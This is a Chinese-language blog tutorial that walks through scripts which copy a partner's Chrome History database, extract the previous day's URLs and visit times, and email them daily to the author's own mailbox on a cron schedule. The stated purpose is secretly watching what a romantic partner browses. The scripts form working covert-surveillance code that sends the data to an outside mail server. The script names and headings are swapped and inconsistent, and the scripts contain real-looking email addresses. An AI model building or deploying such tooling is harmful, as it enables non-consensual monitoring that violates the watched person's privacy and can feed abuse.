Python实时监控网站浏览记录实现过程详解


Posted in Python onJuly 14, 2020

需求:

(1) 获取你对象chrome前一天的浏览记录中的所有网址(url)和访问时间,并存在一个txt文件中

(2)将这个txt文件发送给指定的邮箱地址(你的邮箱)

(3)建立例行任务,每天定时自动完成这些操作,你就可以通过邮件查看你对象每天看啥了

准备

  • macOS Sierra
  • Python3.6
  • Chrome

发送邮件的qq邮箱地址

qq邮箱授权码

SMTP服务器地址 : smtp.qq.com

接受邮件的邮箱地址

执行:

(1) 首先我们用DB Browser for SQLite来看下History中的urls表的数据组成

从表中可以看出,我们要的网址和访问时间就在urls.url和urls.last_visit_time中

Python实时监控网站浏览记录实现过程详解

(2) get_history.py:

# -*- coding: utf-8 -*-
from email import encoders
from email.header import Header
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email.utils import parseaddr, formataddr
import smtplib
import argparse

# 1.文件执行的需要的参数(result.txt)
parser = argparse.ArgumentParser()
parser.add_argument('affix_file',help='the path of the affix')
args = parser.parse_args()


# 2.格式化一个邮件地址和邮件信息
def _format_addr(s):
  name, addr = parseaddr(s)
  return formataddr((Header(name, 'utf-8').encode(), addr))

#连接服务器(这里大家好改成自己的!)
from_addr = "771568102@qq.com" #发件人邮箱
password = "xxxxxxxx" #发件人邮箱授权码
to_addr = "2160802033@cnu.edu.cn" #收件人邮箱
smtp_server = "smtp.qq.com" #SMTP服务器地址

#邮件发件人名字、收件人名字、主题
msg = MIMEMultipart()
msg['From'] = _format_addr('风一样的女子 <%s>' % from_addr)
msg['To'] = _format_addr('风一样的男子 <%s>' % to_addr)
msg['Subject'] = Header('chrome历史记录每日更新', 'utf-8').encode()

# 邮件正文是MIMEText:
msg.attach(MIMEText('窥探隐私是犯法的啊!', 'plain', 'utf-8'))

# 添加附件就是加上一个MIMEBase,从本地读取一个txt文件:
with open(args.affix_file, 'r') as f:
  # 设置附件的MIME和文件名,这里是py类型:
  mime = MIMEBase('result', 'txt', filename='result.txt')
  # 加上必要的头信息:
  mime.add_header('Content-Disposition', 'attachment', filename='result.txt')
  mime.add_header('Content-ID', '<0>')
  mime.add_header('X-Attachment-Id', '0')
  # 把附件的内容读进来:
  mime.set_payload(f.read())
  # 用Base64编码:
  encoders.encode_base64(mime)
  # 添加到MIMEMultipart:
  msg.attach(mime)

#3.通过SMTP发送出去
server = smtplib.SMTP(smtp_server, 25)
server.set_debuglevel(1)
server.login(from_addr, password)
server.sendmail(from_addr, [to_addr], msg.as_string())
server.quit()

通过这个脚本,我们可以把url和访问时间提取出来,并且存储在

result.txt中,下图就是我得到的部分结果

Python实时监控网站浏览记录实现过程详解

(3) send_email.py:

# -*- coding: utf-8 -*-
import sqlite3

#大家要改成自己的路径
history_db = '/Users/Marcel/Desktop/tmp/code/chrome_history/History'

# 1.连接history_db
c = sqlite3.connect(history_db)
cursor = c.cursor()


# 2.选取我们想要的网址和访问时间
try:
  select_statement = "SELECT url,datetime(last_visit_time/1000000-11644473600,'unixepoch','localtime') AS tm FROM urls WHERE julianday('now') - julianday(tm) < 1 ORDER BY tm;"
  cursor.execute(select_statement)
except sqlite3.OperationalError:
  print("[!] The database is locked! Please exit Chrome and run the script again.")
  quit()

# 3.将网址和访问时间存入result.txt文件
results = cursor.fetchall()
with open('/Users/Marcel/Desktop/tmp/code/chrome_history/result.txt','w') as f:#改成自己的路径
  for i in range(len(results)):
    f.write(results[i][1]+'\n')
    f.write(results[i][0]+'\n')

通过这个脚本,我们可以把result.txt作为附件,发送给指定邮箱地

址,下图是我得到的部分结果

Python实时监控网站浏览记录实现过程详解

(4) ./start.sh :其实,前面几个脚本,已经完成了我们的任务,但是每次都执行这么多脚

本,太麻烦了,我们可以把这些脚本的执行语句整理成一个shell脚本。

cp /Users/Marcel/Library/Application\ Support/Google/Chrome/Default/History /Users/Marcel/Desktop/tmp/code/chrome_history/
python /Users/Marcel/Desktop/tmp/code/chrome_history/get_history.py
python /Users/Marcel/Desktop/tmp/code/chrome_history/send_mail.py /Users/Marcel/Desktop/tmp/code/chrome_history/result.txt

这样,我们在终端执行./start.sh,系统就会帮我们把这三条语句依次执行了

注意:由于crontab命令需要绝对路径,所以这里的路径都是用绝对路径

(5) crontab :如果使用了这个命令,在电脑开机并且联网的情况,系统会自动执行,然后把结果发到你的邮箱

使用方法:在终端下输入crontab -e,使用vim输入下面一行代码就可以了

20 14 * * * /Users/Marcel/Desktop/tmp/code/chrome_history/start.sh

说明:前面两个数字,就是你每天执行这个脚本的时间,我这里设置的是14:20。

重要的事再说一遍,一定要写绝对路径!!

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持三水点靠木。

Python 相关文章推荐
python中日期和时间格式化输出的方法小结
Mar 19 Python
使用python实现生成用户信息
Mar 20 Python
浅析python3中的os.path.dirname(__file__)的使用
Aug 30 Python
详解pandas数据合并与重塑(pd.concat篇)
Jul 09 Python
Python 调用 Outlook 发送邮件过程解析
Aug 08 Python
Python 实例方法、类方法、静态方法的区别与作用
Aug 14 Python
利用pyshp包给shapefile文件添加字段的实例
Dec 06 Python
浅谈pytorch中torch.max和F.softmax函数的维度解释
Jun 28 Python
python使用scapy模块实现ping扫描的过程详解
Jan 21 Python
在 Golang 中实现 Cache::remember 方法详解
Mar 30 Python
Python数据可视化之基于pyecharts实现的地理图表的绘制
Jun 10 Python
python中字符串String及其常见操作指南(方法、函数)
Apr 06 Python
python3 中时间戳、时间、日期的转换和加减操作
Jul 14 #Python
python转化excel数字日期为标准日期操作
Jul 14 #Python
Python 实现将某一列设置为str类型
Jul 14 #Python
使用python编写一个语音朗读闹钟功能的示例代码
Jul 14 #Python
利用python对excel中一列的时间数据更改格式操作
Jul 14 #Python
Python库安装速度过慢解决方案
Jul 14 #Python
解决Python paramiko 模块远程执行ssh 命令 nohup 不生效的问题
Jul 14 #Python
You might like
Search File Contents PHP 搜索目录文本内容的代码
2010/02/21 PHP
常用PHP框架功能对照表
2014/10/23 PHP
PHP程序员必须清楚的问题汇总
2014/12/18 PHP
php筛选不存在的图片资源
2015/04/28 PHP
php采集中国代理服务器网的方法
2015/06/16 PHP
Ubuntu VPS中wordpress网站打开时提示”建立数据库连接错误”的解决办法
2016/11/03 PHP
php中类和对象:静态属性、静态方法
2017/04/09 PHP
PHP7使用ODBC连接SQL Server2008 R2数据库示例【基于thinkPHP5.1框架】
2019/05/06 PHP
Laravel如何实现适合Api的异常处理响应格式
2020/06/14 PHP
javascript学习笔记(三)显示当时时间的代码
2011/04/08 Javascript
js实现一个省市区三级联动选择框代码分享
2013/03/06 Javascript
浅谈javascript回调函数
2014/12/07 Javascript
js获取内联样式的方法
2015/01/27 Javascript
jquery ajax分页插件的简单实现
2016/01/27 Javascript
详解JavaScript中的事件流和事件处理程序
2016/05/20 Javascript
Vue.js实现一个漂亮、灵活、可复用的提示组件示例
2017/03/17 Javascript
Vue计算属性的学习笔记
2017/03/22 Javascript
vue实现仿淘宝结账页面实例代码
2017/11/08 Javascript
vue中vee validate表单校验的几种基本使用
2018/06/25 Javascript
微信小程序实现简单评论功能
2018/11/28 Javascript
js中位运算的运用实例分析
2018/12/11 Javascript
python del()函数用法
2013/03/24 Python
python中partial()基础用法说明
2018/12/30 Python
Python 用三行代码提取PDF表格数据
2019/10/13 Python
HTML5 本地存储之如果没有数据库究竟会怎样
2013/04/25 HTML / CSS
国家地理在线商店:Shop National Geographic
2018/06/30 全球购物
Juicy Couture Beauty官方网站:香水和化妆品
2019/03/12 全球购物
关键字throw与throws的用法差异
2016/11/22 面试题
中专毕业自我鉴定
2013/10/16 职场文书
机电一体化应届生求职信范文
2014/01/24 职场文书
《春天来了》教学反思
2014/04/07 职场文书
初中作文评语大全
2014/04/23 职场文书
社会调查研究计划书
2014/05/01 职场文书
全国优秀教师事迹材料
2014/08/26 职场文书
政审证明范文
2015/06/19 职场文书
幼儿园毕业典礼家长致辞
2015/07/29 职场文书